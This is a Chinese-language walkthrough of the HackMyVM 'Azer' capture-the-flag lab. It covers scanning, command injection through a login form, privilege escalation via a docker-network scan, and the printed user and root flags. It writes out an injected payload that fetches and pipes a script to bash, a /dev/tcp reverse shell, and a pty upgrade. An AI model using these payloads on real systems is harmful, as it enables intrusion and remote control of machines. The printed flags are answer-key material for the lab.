简介
难度:简单
靶场地址:https://hackmyvm.eu/machines/machine.php?vm=Azer
本地环境
虚拟机:vitual box
靶场IP(Azer):192.168.56.102
渗透机IP(windows 10):192.168.56.1
扫描
小靶场,zanmap简单扫
nmap -p 1-65535 -T4 -A -v 192.168.56.102/32
两个http端口80和3000
http
80
一个白血病儿童基金会的网页,全是土耳其文。看得有点眼花,先跳过
3000
登录界面
随便输入个admin:123456,结果跳出报错:
Error executing bash script: Command failed: /home/azer/get.sh admin 1234565 fatal: not a git repository (or any of the parent directories): .git
感觉像是通过输入账密拉取git文件。虽然还不是很清楚,但可以看到后台应该是直接用shell执行该命令,这也就给我们命令注入的机会。
先起个nc
ncat.exe -lvvp 50000
然后起个http服务到8001端口上,准备好shell.sh文件:
-
python3 -m http.server 8001
-
shell.sh:
bash -i >& /dev/tcp/192.168.56.1/50000 0>&1
最后在登录栏里面输入admin 123456;curl 192.168.56.1:8001/shell.sh | bash
拿到USER
0d2856d69dc348b3af80a0eed67c7502
提权
先升级一下shell。
python3 -c 'import pty;pty.spawn("/bin/bash")'
检查了各个信息,发现系统启动了docker服务
上传fscan,扫出10.10.10.10存活
./fscan -np -no -nopoc -h 10.10.10.1/24
azer@azer:~$ ./fscan -np -no -nopoc -h 10.10.10.1/24
./fscan -np -no -nopoc -h 10.10.10.1/24
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.3
start infoscan
10.10.10.10:80 open
10.10.10.1:80 open
这里说明一下为什么我参数里面加那么多no。因为最初我单用-h参数是啥也扫不出来的
可以看到The current user permissions unable to send icmp packets
,可能防火墙对icmp协议进行了过滤。所以只是以探活为目的的话,应尽量减少不必要的发包,一方面结果可能并不理想,另一方面就像这样被过滤掉,实际情况中这种流量八成是会被记录下来的。
(事后拿到root,查看iptables确实如此)
curl一下该地址,得到root密码
拿到root.txt
b5d96aec2d5f1541c5e7910ccab527d8